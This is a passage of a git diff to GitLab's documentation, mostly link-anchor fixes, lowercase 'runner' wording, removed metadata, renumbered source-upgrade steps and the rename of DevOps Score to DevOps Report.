Detection](stages.md#auto-secret-detection) **(ULTIMATE)** +1. [Auto Dependency Scanning](stages.md#auto-dependency-scanning) **(ULTIMATE)** +1. [Auto License Compliance](stages.md#auto-license-compliance) **(ULTIMATE)** +1. [Auto Container Scanning](stages.md#auto-container-scanning) **(ULTIMATE)** 1. [Auto Review Apps](stages.md#auto-review-apps) -1. [Auto DAST (Dynamic Application Security Testing)](stages.md#auto-dast-ultimate) **(ULTIMATE)** +1. [Auto DAST (Dynamic Application Security Testing)](stages.md#auto-dast) **(ULTIMATE)** 1. [Auto Deploy](stages.md#auto-deploy) -1. [Auto Browser Performance Testing](stages.md#auto-browser-performance-testing-premium) **(PREMIUM)** +1. [Auto Browser Performance Testing](stages.md#auto-browser-performance-testing) **(PREMIUM)** 1. [Auto Monitoring](stages.md#auto-monitoring) As Auto DevOps relies on many different components, you should have a basic @@ -235,12 +235,12 @@ are available: - **Continuous deployment to production**: Enables [Auto Deploy](stages.md#auto-deploy) with `master` branch directly deployed to production. - **Continuous deployment to production using timed incremental rollout**: Sets the - [`INCREMENTAL_ROLLOUT_MODE`](customize.md#timed-incremental-rollout-to-production-premium) variable + [`INCREMENTAL_ROLLOUT_MODE`](customize.md#timed-incremental-rollout-to-production) variable to `timed`. Production deployments execute with a 5 minute delay between each increment in rollout. - **Automatic deployment to staging, manual deployment to production**: Sets the [`STAGING_ENABLED`](customize.md#deploy-policy-for-staging-and-production-environments) and - [`INCREMENTAL_ROLLOUT_MODE`](customize.md#incremental-rollout-to-production-premium) variables + [`INCREMENTAL_ROLLOUT_MODE`](customize.md#incremental-rollout-to-production) variables to `1` and `manual`. This means: - `master` branch is directly deployed to staging. @@ -274,7 +274,7 @@ The following table is an example of how to configure the three different cluste |--------------|---------------------------|-------------------------------------------|----------------------------|---| | review | `review/*` | `review.example.com` | `review/*` | The review cluster which runs all [Review Apps](../../ci/review_apps/index.md). `*` is a wildcard, used by every environment name starting with `review/`. | | staging | `staging` | `staging.example.com` | `staging` | (Optional) The staging cluster which runs the deployments of the staging environments. You must [enable it first](customize.md#deploy-policy-for-staging-and-production-environments). | -| production | `production` | `example.com` | `production` | The production cluster which runs the production environment deployments. You can use [incremental rollouts](customize.md#incremental-rollout-to-production-premium). | +| production | `production` | `example.com` | `production` | The production cluster which runs the production environment deployments. You can use [incremental rollouts](customize.md#incremental-rollout-to-production). | To add a different cluster for each environment: diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md index 6b9b461e76e..02d9669a9bc 100644 --- a/doc/topics/autodevops/quick_start_guide.md +++ b/doc/topics/autodevops/quick_start_guide.md @@ -8,7 +8,7 @@ to create a Kubernetes cluster manually using the Google Cloud Platform console. You will create and deploy a simple application that you create from a GitLab template. These instructions will also work for a self-managed GitLab instance; you'll just -need to ensure your own [Runners are configured](../../ci/runners/README.md) and +need to ensure your own [runners are configured](../../ci/runners/README.md) and [Google OAuth is enabled](../../integration/google.md). ## Configure your Google account @@ -110,7 +110,7 @@ In this guide, we will install Ingress and Prometheus: NOTE: **Note:** We won't install GitLab Runner in this quick start guide, as this guide uses the -shared Runners provided by GitLab.com. +shared runners provided by GitLab.com. To install the applications: @@ -160,18 +160,18 @@ The jobs are separated into stages: - The `test` job runs unit and integration tests by detecting the language and framework ([Auto Test](stages.md#auto-test)) - The `code_quality` job checks the code quality and is allowed to fail - ([Auto Code Quality](stages.md#auto-code-quality-starter)) **(STARTER)** + ([Auto Code Quality](stages.md#auto-code-quality)) **(STARTER)** - The `container_scanning` job checks the Docker container if it has any - vulnerabilities and is allowed to fail ([Auto Container Scanning](stages.md#auto-container-scanning-ultimate)) + vulnerabilities and is allowed to fail ([Auto Container Scanning](stages.md#auto-container-scanning)) - The `dependency_scanning` job checks if the application has any dependencies susceptible to vulnerabilities and is allowed to fail - ([Auto Dependency Scanning](stages.md#auto-dependency-scanning-ultimate)) **(ULTIMATE)** + ([Auto Dependency Scanning](stages.md#auto-dependency-scanning)) **(ULTIMATE)** - Jobs suffixed with `-sast` run static analysis on the current code to check for potential - security issues, and are allowed to fail ([Auto SAST](stages.md#auto-sast-ultimate)) **(ULTIMATE)** - - The `secret-detection` job checks for leaked secrets and is allowed to fail ([Auto Secret Detection](stages.md#auto-secret-detection-ultimate)) **(ULTIMATE)** + security issues, and are allowed to fail ([Auto SAST](stages.md#auto-sast)) **(ULTIMATE)** + - The `secret-detection` job checks for leaked secrets and is allowed to fail ([Auto Secret Detection](stages.md#auto-secret-detection)) **(ULTIMATE)** - The `license_management` job searches the application's dependencies to determine each of their licenses and is allowed to fail - ([Auto License Compliance](stages.md#auto-license-compliance-ultimate)) **(ULTIMATE)** + ([Auto License Compliance](stages.md#auto-license-compliance)) **(ULTIMATE)** NOTE: **Note:** All jobs except `test` are allowed to fail in the test stage. @@ -183,7 +183,7 @@ The jobs are separated into stages: Kubernetes ([Auto Deploy](stages.md#auto-deploy)). - **Performance** - Performance tests are run on the deployed application - ([Auto Browser Performance Testing](stages.md#auto-browser-performance-testing-premium)). **(PREMIUM)** + ([Auto Browser Performance Testing](stages.md#auto-browser-performance-testing)). **(PREMIUM)** - **Cleanup** - Pipelines on `master` include this stage with a `stop_dast_environment` job. @@ -292,7 +292,7 @@ and customized to fit your workflow. Here are some helpful resources for further 1. [Auto DevOps](index.md) 1. [Multiple Kubernetes clusters](index.md#using-multiple-kubernetes-clusters) -1. [Incremental rollout to production](customize.md#incremental-rollout-to-production-premium) **(PREMIUM)** +1. [Incremental rollout to production](customize.md#incremental-rollout-to-production) **(PREMIUM)** 1. [Disable jobs you don't need with environment variables](customize.md#environment-variables) 1. [Use a static IP for your cluster](../../user/clusters/applications.md#using-a-static-ip) 1. [Use your own buildpacks to build your application](customize.md#custom-buildpacks) diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md index 33db94be97e..af98e0a438b 100644 --- a/doc/topics/autodevops/requirements.md +++ b/doc/topics/autodevops/requirements.md @@ -48,21 +48,21 @@ To make full use of Auto DevOps with Kubernetes, you need: - **GitLab Runner** (for all stages) - Your Runner must be configured to run Docker, usually with either the + Your runner must be configured to run Docker, usually with either the [Docker](https://docs.gitlab.com/runner/executors/docker.html) or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executors, with [privileged mode enabled](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode). - The Runners don't need to be installed in the Kubernetes cluster, but the + The runners don't need to be installed in the Kubernetes cluster, but the Kubernetes executor is easy to use and automatically autoscales. - You can configure Docker-based Runners to autoscale as well, using + You can configure Docker-based runners to autoscale as well, using [Docker Machine](https://docs.gitlab.com/runner/install/autoscaling.html). If you've configured GitLab's Kubernetes integration in the first step, you can deploy it to your cluster by installing the [GitLab-managed app for GitLab Runner](../../user/clusters/applications.md#gitlab-runner). - Runners should be registered as [shared Runners](../../ci/runners/README.md#shared-runners) - for the entire GitLab instance, or [specific Runners](../../ci/runners/README.md#specific-runners) + Runners should be registered as [shared runners](../../ci/runners/README.md#shared-runners) + for the entire GitLab instance, or [specific runners](../../ci/runners/README.md#specific-runners) that are assigned to specific projects (the default if you've installed the GitLab Runner managed application). diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index 7c6cf043820..b58c369714e 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -19,7 +19,7 @@ If you're also using Auto Review Apps and Auto Deploy, and you choose to provide your own `Dockerfile`, you must either: - Expose your application to port `5000`, as the - [default Helm chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app) + [default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) assumes this port is available. - Override the default values by [customizing the Auto Deploy Helm chart](customize.md#custom-helm-chart). @@ -237,7 +237,7 @@ a link to the Review App for easy discovery. When the branch or tag is deleted, such as after merging a merge request, the Review App is also deleted. Review apps are deployed using the -[auto-deploy-app](https://gitlab.com/gitlab-org/charts/auto-deploy-app) chart with +[auto-deploy-app](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) chart with Helm, which you can [customize](customize.md#custom-helm-chart). The application deploys into the [Kubernetes namespace](../../user/project/clusters/index.md#deployment-variables) for the environment. @@ -355,7 +355,7 @@ scale your pod replicas, and to apply custom arguments to the Auto DevOps `helm commands. This is an easy way to [customize the Auto Deploy Helm chart](customize.md#custom-helm-chart). -Helm uses the [auto-deploy-app](https://gitlab.com/gitlab-org/charts/auto-deploy-app) +Helm uses the [auto-deploy-app](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) chart to deploy the application into the [Kubernetes namespace](../../user/project/clusters/index.md#deployment-variables) for the environment. @@ -474,7 +474,7 @@ Some web applications must run extra deployments for "worker processes". For example, Rails applications commonly use separate worker processes to run background tasks like sending emails. -The [default Helm chart](https://gitlab.com/gitlab-org/charts/auto-deploy-app) +The [default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) used in Auto Deploy [has support for running worker processes](https://gitlab.com/gitlab-org/charts/auto-deploy-app/-/merge_requests/9). diff --git a/doc/topics/autodevops/upgrading_chart.md b/doc/topics/autodevops/upgrading_chart.md index e4dacdfcf5b..ffa485f6d2c 100644 --- a/doc/topics/autodevops/upgrading_chart.md +++ b/doc/topics/autodevops/upgrading_chart.md @@ -62,11 +62,11 @@ include: image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v0.17.0" ``` -### Ignore warning and continue deploying +#### Ignore warning and continue deploying If you are certain that the new chart version is safe to be deployed, -you can add the `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` [environment variable](customize.md#build-and-deployment) +you can add the `AUTO_DEVOPS_FORCE_DEPLOY_V<N>` [environment variable](customize.md#build-and-deployment) to force the deployment to continue, where `<N>` is the major version. For example, if you want to deploy the v2.0.0 chart on a deployment that previously -used the v0.17.0 chart, add `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V2`. +used the v0.17.0 chart, add `AUTO_DEVOPS_FORCE_DEPLOY_V2`. diff --git a/doc/topics/git/how_to_install_git/index.md b/doc/topics/git/how_to_install_git/index.md index 7b842b6a409..1eea49d8ffe 100644 --- a/doc/topics/git/how_to_install_git/index.md +++ b/doc/topics/git/how_to_install_git/index.md @@ -1,15 +1,9 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" -author: Sean Packham -author_gitlab: SeanPackham -level: beginner -article_type: user guide -date: 2017-05-15 +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers description: 'This article describes how to install Git on macOS, Ubuntu Linux and Windows.' type: howto -last_updated: 2020-04-22 --- # Installing Git @@ -24,14 +18,14 @@ is also available at the official Git website. ## Install Git on macOS using the Homebrew package manager -Although it is easy to use the version of Git shipped with macOS -or install the latest version of Git on macOS by downloading it from the project website, -we recommend installing it via Homebrew to get access to -an extensive selection of dependency managed libraries and applications. +Although you can use the version of Git shipped with macOS or install the latest +version of Git on macOS by downloading it from the project website, we recommend +installing Git with Homebrew to get access to an extensive selection of +dependency-managed libraries and applications. -If you are sure you don't need access to any additional development libraries -or don't have approximately 15gb of available disk space for Xcode and Homebrew, -use one of the aforementioned methods. +If you don't need access to any additional development libraries or don't have +approximately 15 GB of available disk space for Xcode and Homebrew, use one of +the previously mentioned methods. ### Installing Xcode diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md index 5875cdd4ca1..11997f46255 100644 --- a/doc/topics/git/lfs/index.md +++ b/doc/topics/git/lfs/index.md @@ -42,6 +42,7 @@ Documentation for GitLab instance administrators is under [LFS administration do credentials store is recommended - Git LFS always assumes HTTPS so if you have GitLab server on HTTP you will have to add the URL to Git configuration manually (see [troubleshooting](#troubleshooting)) +- Files added using Git LFS are [not included in the archives created using "download zip" functionality](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) NOTE: **Note:** With 8.12 GitLab added LFS support to SSH. The Git LFS communication @@ -109,71 +110,7 @@ To remove objects from LFS: ## File Locking -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/35856) in GitLab 10.5. - -The first thing to do before using File Locking is to tell Git LFS which -kind of files are lockable. The following command will store PNG files -in LFS and flag them as lockable: - -```shell -git lfs track "*.png" --lockable -``` - -After executing the above command a file named `.gitattributes` will be -created or updated with the following content: - -```shell -*.png filter=lfs diff=lfs merge=lfs -text lockable -``` - -You can also register a file type as lockable without using LFS -(In order to be able to lock/unlock a file you need a remote server that implements the LFS File Locking API), -in order to do that you can edit the `.gitattributes` file manually: - -```shell -*.pdf lockable -``` - -After a file type has been registered as lockable, Git LFS will make -them read-only on the file system automatically. This means you will -need to lock the file before editing it. - -### Managing Locked Files - -Once you're ready to edit your file you need to lock it first: - -```shell -git lfs lock images/banner.png -Locked images/banner.png -``` - -This will register the file as locked in your name on the server: - -```shell -git lfs locks -images/banner.png joe ID:123 -``` - -Once you have pushed your changes, you can unlock the file so others can -also edit it: - -```shell -git lfs unlock images/banner.png -``` - -You can also unlock by ID: - -```shell -git lfs unlock --id=123 -``` - -If for some reason you need to unlock a file that was not locked by you, -you can use the `--force` flag as long as you have a `maintainer` access on -the project: - -```shell -git lfs unlock --id=123 --force -``` +See the documentation on [File Locking](../../../user/project/file_lock.md). ## Troubleshooting diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md index 944f4d8f78d..f0ad7570d87 100644 --- a/doc/topics/git/lfs/migrate_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_to_git_lfs.md @@ -1,7 +1,5 @@ --- -type: tutorial, concepts description: "How to migrate an existing Git repository to Git LFS with BFG." -last_updated: 2019-07-11 --- # Migrate a Git repo into Git LFS with BFG diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md index 285ab133196..77732e0da3e 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md +++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md @@ -1,14 +1,8 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" -author: Crt Mori -author_gitlab: Letme -level: intermediary -article_type: tutorial -date: 2017-05-15 +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: howto -last_updated: 2019-05-31 --- # Numerous undo possibilities in Git @@ -243,7 +237,7 @@ git bisect A..E Bisect will provide us with commit ID of the middle commit to test, and then guide us through simple bisection process. You can read more about it [in official Git Tools](https://git-scm.com/book/en/v2/Git-Tools-Debugging-with-Git) -In our example we will end up with commit `B`, that introduced bug/error. We have +In our example we will end up with commit `B`, that introduced the bug/error. We have 4 options on how to remove it (or part of it) from our repository. - Undo (swap additions and deletions) changes introduced by commit `B`: @@ -409,7 +403,7 @@ the cleanup of detached commits (happens automatically). ### Where modifying history is generally acceptable Modified history breaks the development chain of other developers, as changed -history does not have matching commits'ids. For that reason it should not be +history does not have matching commit IDs. For that reason it should not be used on any public branch or on branch that *might* be used by other developers. When contributing to big open source repositories (for example, [GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md#contribution-acceptance-criteria) itself), it is acceptable to *squash* commits into a single one, to present a diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md index 339da40b29d..8c5a2092a92 100644 --- a/doc/topics/gitlab_flow.md +++ b/doc/topics/gitlab_flow.md @@ -214,17 +214,17 @@ If you have an issue that spans across multiple repositories, create an issue fo With Git, you can use an interactive rebase (`rebase -i`) to squash multiple commits into one or reorder them. This functionality is useful if you want to replace a couple of small commits with a single commit, or if you want to make the order more logical. -However, you should never rebase commits you have pushed to a remote server. -Rebasing creates new commits for all your changes, which can cause confusion because the same change would have multiple identifiers. -It also causes merge errors for anyone working on the same branch because their history would not match with yours. +However, you should avoid rebasing commits you have pushed to a remote server if you have other active contributors in the same branch. +Since rebasing creates new commits for all your changes, it can cause confusion because the same change would have multiple identifiers. +It would cause merge errors for anyone working on the same branch because their history would not match with yours. It can be really troublesome for the author or other contributors. Also, if someone has already reviewed your code, rebasing makes it hard to tell what changed since the last review. -You should also never rebase commits authored by other people. +You should never rebase commits authored by other people unless you've agreed otherwise. Not only does this rewrite history, but it also loses authorship information. Rebasing prevents the other authors from being attributed and sharing part of the [`git blame`](https://git-scm.com/docs/git-blame). If a merge involves many commits, it may seem more difficult to undo. -You might think to solve this by squashing all the changes into one commit before merging, but as discussed earlier, it is a bad idea to rebase commits that you have already pushed. +You might consider solving this by squashing all the changes into one commit just before merging by using GitLab's [Squash-and-Merge](../user/project/merge_requests/squash_and_merge.md) feature. Fortunately, there is an easy way to undo a merge with all its commits. The way to do this is by reverting the merge commit. Preserving this ability to revert a merge is a good reason to always use the "no fast-forward" (`--no-ff`) strategy when you merge manually. @@ -241,10 +241,9 @@ Having lots of merge commits can make your repository history messy. Therefore, you should try to avoid merge commits in feature branches. Often, people avoid merge commits by just using rebase to reorder their commits after the commits on the `master` branch. Using rebase prevents a merge commit when merging `master` into your feature branch, and it creates a neat linear history. -However, as discussed in [the section about rebasing](#squashing-commits-with-rebase), you should never rebase commits you have pushed to a remote server. -This restriction makes it impossible to rebase work in progress that you already shared with your team, which is something we recommend. +However, as discussed in [the section about rebasing](#squashing-commits-with-rebase), you should avoid rebasing commits in a feature branch that you're sharing with others. -Rebasing also creates more work, since every time you rebase, you have to resolve similar conflicts. +Rebasing could create more work, since every time you rebase, you may need to resolve the same conflicts. Sometimes you can reuse recorded resolutions (`rerere`), but merging is better since you only have to resolve conflicts once. Atlassian has a more thorough explanation of the tradeoffs between merging and rebasing [on their blog](https://www.atlassian.com/blog/git/git-team-workflows-merge-or-rebase). diff --git a/doc/topics/offline/quick_start_guide.md b/doc/topics/offline/quick_start_guide.md index 817d7d31180..8b9996cb66f 100644 --- a/doc/topics/offline/quick_start_guide.md +++ b/doc/topics/offline/quick_start_guide.md @@ -86,7 +86,7 @@ sudo cp /etc/gitlab/ssl/my-host.internal.crt /etc/docker/certs.d/my-host.interna ``` Provide your GitLab Runner (to be installed next) with your certs by -[following the steps for using trusted certificates with your Runner](https://docs.gitlab.com/runner/install/docker.html#installing-trusted-ssl-server-certificates): +[following the steps for using trusted certificates with your runner](https://docs.gitlab.com/runner/install/docker.html#installing-trusted-ssl-server-certificates): ```shell sudo mkdir -p /etc/gitlab-runner/certs @@ -97,7 +97,7 @@ sudo cp /etc/gitlab/ssl/my-host.internal.crt /etc/gitlab-runner/certs/ca.crt ## Enabling GitLab Runner [Following a similar process to the steps for installing our GitLab Runner as a -Docker service](https://docs.gitlab.com/runner/install/docker.html#docker-image-installation), we must first register our Runner: +Docker service](https://docs.gitlab.com/runner/install/docker.html#docker-image-installation), we must first register our runner: ```shell $ sudo docker run --rm -it -v /etc/gitlab-runner:/etc/gitlab-runner gitlab/gitlab-runner register @@ -128,7 +128,7 @@ Make the following changes to `/etc/gitlab-runner/config.toml`: - Add Docker socket to volumes `volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"]` - Add `pull_policy = "if-not-present"` to the executor configuration -Now we can start our Runner: +Now we can start our runner: ```shell sudo docker run -d --restart always --name gitlab-runner -v /etc/gitlab-runner:/etc/gitlab-runner -v /var/run/docker.sock:/var/run/docker.sock gitlab/gitlab-runner:latest diff --git a/doc/topics/web_application_firewall/quick_start_guide.md b/doc/topics/web_application_firewall/quick_start_guide.md index 9e69bc7e7c7..971250cd526 100644 --- a/doc/topics/web_application_firewall/quick_start_guide.md +++ b/doc/topics/web_application_firewall/quick_start_guide.md @@ -14,7 +14,7 @@ to create a Kubernetes cluster manually using the Google Cloud Platform console. We will create and deploy a simple application that we create from a GitLab template. These instructions will also work for a self-managed GitLab instance. However, you will -need to ensure your own [Runners are configured](../../ci/runners/README.md) and +need to ensure your own [runners are configured](../../ci/runners/README.md) and [Google OAuth is enabled](../../integration/google.md). **Note**: GitLab's Web Application Firewall is deployed with [Ingress](../../user/clusters/applications.md#ingress), @@ -102,7 +102,7 @@ for you to install. For this guide, we need to install Ingress. Ingress provides load balancing, SSL termination, and name-based virtual hosting, using NGINX behind -the scenes. Make sure to switch the toogle to the enabled position before installing. +the scenes. Make sure to switch the toggle to the enabled position before installing. Both logging and blocking modes are available for WAF. While logging mode is useful for auditing anomalous traffic, blocking mode ensures the traffic doesn't reach past Ingress. @@ -118,7 +118,7 @@ filled in the domain, click **Save changes**. Prometheus should also be installed. It is an open-source monitoring and alerting system that we will use to supervise the deployed application. -We will not install GitLab Runners as we will use the shared Runners that +We will not install GitLab Runner as we will use the shared runners that GitLab.com provides. ## Enabling Auto DevOps (optional) diff --git a/doc/university/README.md b/doc/university/README.md index 2a9111276d3..d029c91a19f 100644 --- a/doc/university/README.md +++ b/doc/university/README.md @@ -47,7 +47,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres 1. [Repositories, Projects and Groups - Video](https://www.youtube.com/watch?v=4TWfh1aKHHw&index=1&list=PLFGfElNsQthbQu_IWlNOxul0TbS_2JH-e) 1. [Creating a Project in GitLab - Video](https://www.youtube.com/watch?v=7p0hrpNaJ14) 1. [How to Create Files and Directories](https://about.gitlab.com/blog/2016/02/10/feature-highlight-create-files-and-directories-from-files-page/) -1. [GitLab Todos](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/) +1. [GitLab To-Do List](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/) 1. [GitLab's Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/) ### 1.5. Migrating from other Source Control diff --git a/doc/update/mysql_to_postgresql.md b/doc/update/mysql_to_postgresql.md index 9ad77a80d50..0759d45147a 100644 --- a/doc/update/mysql_to_postgresql.md +++ b/doc/update/mysql_to_postgresql.md @@ -1,7 +1,3 @@ ---- -last_updated: 2019-06-18 ---- - # Migrating from MySQL to PostgreSQL This guide documents how to take a working GitLab instance that uses MySQL and diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md index f8762866a53..a0f042acab2 100644 --- a/doc/update/upgrading_from_source.md +++ b/doc/update/upgrading_from_source.md @@ -164,7 +164,16 @@ sudo make prefix=/usr/local install # You should edit config/gitlab.yml, change the git -> bin_path to /usr/local/bin/git ``` -### 7. Get latest code +### 7. Update PostgreSQL + +CAUTION: **Caution:** +From GitLab 13.0, you must use at least PostgreSQL 11. + +The latest version of GitLab might depend on a more recent PostgreSQL version than what you are currently running (see the [PostgreSQL requirements](../install/requirements.md#postgresql-requirements)). + +In order to upgrade PostgreSQL, please refer to its [documentation](https://www.postgresql.org/docs/11/upgrading.html). + +### 8. Get latest code ```shell cd /home/git/gitlab @@ -192,7 +201,7 @@ cd /home/git/gitlab sudo -u git -H git checkout BRANCH-ee ``` -### 8. Update GitLab Shell +### 9. Update GitLab Shell ```shell cd /home/git/gitlab-shell @@ -202,7 +211,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_SHELL_VERSION) sudo -u git -H make build ``` -### 9. Update GitLab Workhorse +### 10. Update GitLab Workhorse Install and compile GitLab Workhorse. GitLab Workhorse uses [GNU Make](https://www.gnu.org/software/make/). @@ -217,7 +226,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_WORKHORSE_VERSION) sudo -u git -H make ``` -### 10. Update Gitaly +### 11. Update Gitaly #### Compile Gitaly @@ -228,7 +237,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITALY_SERVER_VERSION) sudo -u git -H make ``` -### 11. Update GitLab Pages +### 12. Update GitLab Pages #### Only needed if you use GitLab Pages @@ -245,7 +254,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_PAGES_VERSION) sudo -u git -H make ``` -### 12. Update configuration files +### 13. Update configuration files #### New configuration options for `gitlab.yml` @@ -318,7 +327,7 @@ For Ubuntu 16.04.1 LTS: sudo systemctl daemon-reload ``` -### 13. Install libraries, migrations, etc +### 14. Install libraries, migrations, etc ```shell cd /home/git/gitlab @@ -342,14 +351,14 @@ sudo -u git -H bundle exec rake yarn:install gitlab:assets:clean gitlab:assets:c sudo -u git -H bundle exec rake cache:clear RAILS_ENV=production ``` -### 14. Start application +### 15. Start application ```shell sudo service gitlab start sudo service nginx restart ``` -### 15. Check application status +### 16. Check application status Check if GitLab and its environment are configured correctly: diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md index 448c65038c2..29f162616bf 100644 --- a/doc/user/admin_area/activating_deactivating_users.md +++ b/doc/user/admin_area/activating_deactivating_users.md @@ -44,7 +44,7 @@ Please note that for the deactivation option to be visible to an admin, the user Users can also be deactivated using the [GitLab API](../../api/users.md#deactivate-user). NOTE: **Note:** -A deactivated user does not consume a [seat](../../subscriptions/index.md#choosing-the-number-of-users). +A deactivated user does not consume a [seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users). ## Activating a user @@ -63,7 +63,7 @@ Users can also be activated using the [GitLab API](../../api/users.md#activate-u NOTE: **Note:** Activating a user will change the user's state to active and it consumes a -[seat](../../subscriptions/index.md#choosing-the-number-of-users). +[seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users). TIP: **Tip:** A deactivated user can also activate their account themselves by simply logging back in via the UI. diff --git a/doc/user/admin_area/analytics/convdev.md b/doc/user/admin_area/analytics/convdev.md new file mode 100644 index 00000000000..3ffda3f4400 --- /dev/null +++ b/doc/user/admin_area/analytics/convdev.md @@ -0,0 +1,5 @@ +--- +redirect_to: 'dev_ops_report.md' +--- + +This document was moved to [another location](dev_ops_report.md). diff --git a/doc/user/instance_statistics/dev_ops_score.md b/doc/user/admin_area/analytics/dev_ops_report.md index 35dcbd01916..f04bd69b76b 100644 --- a/doc/user/instance_statistics/dev_ops_score.md +++ b/doc/user/admin_area/analytics/dev_ops_report.md @@ -1,23 +1,25 @@ -# DevOps Score +# DevOps Report > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3. > - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6. NOTE: **Note:** -Your GitLab instance's [usage ping](../admin_area/settings/usage_statistics.md#usage-ping-core-only) must be activated in order to use this feature. +Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature. -The DevOps Score gives you an overview of your entire instance's adoption of +The DevOps Report gives you an overview of your entire instance's adoption of [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/) from planning to monitoring. -This displays the usage of these GitLab features over +## DevOps Score + +DevOps Score displays the usage of GitLab's major features on your instance over the last 30 days, averaged over the number of active users in that time period. It also provides a Lead score per feature, which is calculated based on GitLab's analysis -of top-performing instances based on [usage ping data](../admin_area/settings/usage_statistics.md#usage-ping-core-only) that GitLab has +of top-performing instances based on [usage ping data](../settings/usage_statistics.md#usage-ping) that GitLab has collected. Your score is compared to the lead score of each feature and then expressed as a percentage at the bottom of said feature. -Your overall **index score** is an average of your feature scores. You can use this score to compare your DevOps status to other organizations. +Your overall **DevOps Score** is an average of your feature scores. You can use this score to compare your DevOps status to other organizations. - + The page also provides helpful links to articles and GitLab docs, to help you improve your scores. diff --git a/doc/user/admin_area/analytics/img/cohorts_v13_4.png b/doc/user/admin_area/analytics/img/cohorts_v13_4.png Binary files differnew file mode 100644 index 00000000000..4af1841a033 --- /dev/null +++ b/doc/user/admin_area/analytics/img/cohorts_v13_4.png diff --git a/doc/user/admin_area/analytics/img/dev_ops_report_v13_4.png b/doc/user/admin_area/analytics/img/dev_ops_report_v13_4.png Binary files differnew file mode 100644 index 00000000000..1fa070a6915 --- /dev/null +++ b/doc/user/admin_area/analytics/img/dev_ops_report_v13_4.png diff --git a/doc/user/admin_area/analytics/index.md b/doc/user/admin_area/analytics/index.md new file mode 100644 index 00000000000..b3336b471f8 --- /dev/null +++ b/doc/user/admin_area/analytics/index.md @@ -0,0 +1,10 @@ +# Instance-level analytics + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41416) in GitLab 11.2. + +Administrators have access to instance-wide analytics, as shown in **Admin Area > Analytics**. + +There are two kinds of statistics: + +- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage. +- [User Cohorts](user_cohorts.md): Display the monthly cohorts of new users and their activities over time. diff --git a/doc/user/instance_statistics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md index 8da2d57d474..faf8caa7e00 100644 --- a/doc/user/instance_statistics/user_cohorts.md +++ b/doc/user/admin_area/analytics/user_cohorts.md @@ -2,7 +2,7 @@ > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/23361) in GitLab 9.1. -As a benefit of having the [usage ping active](../admin_area/settings/usage_statistics.md), +As a benefit of having the [usage ping active](../settings/usage_statistics.md), GitLab lets you analyze the users' activities over time of your GitLab installation. ## Overview @@ -10,12 +10,12 @@ GitLab lets you analyze the users' activities over time of your GitLab installat How do we read the user cohorts table? Let's take an example with the following user cohorts. - + -For the cohort of Jan 2018, 15 users have been added on this server and have -been active since this month. One month later, in Feb 2018, all 15 users are -still active. 6 months later (Month 6, July), we can see 10 users from this cohort -are active, or 66% of the original cohort of 15 that joined in January. +For the cohort of March 2020, three users have been added on this server and have 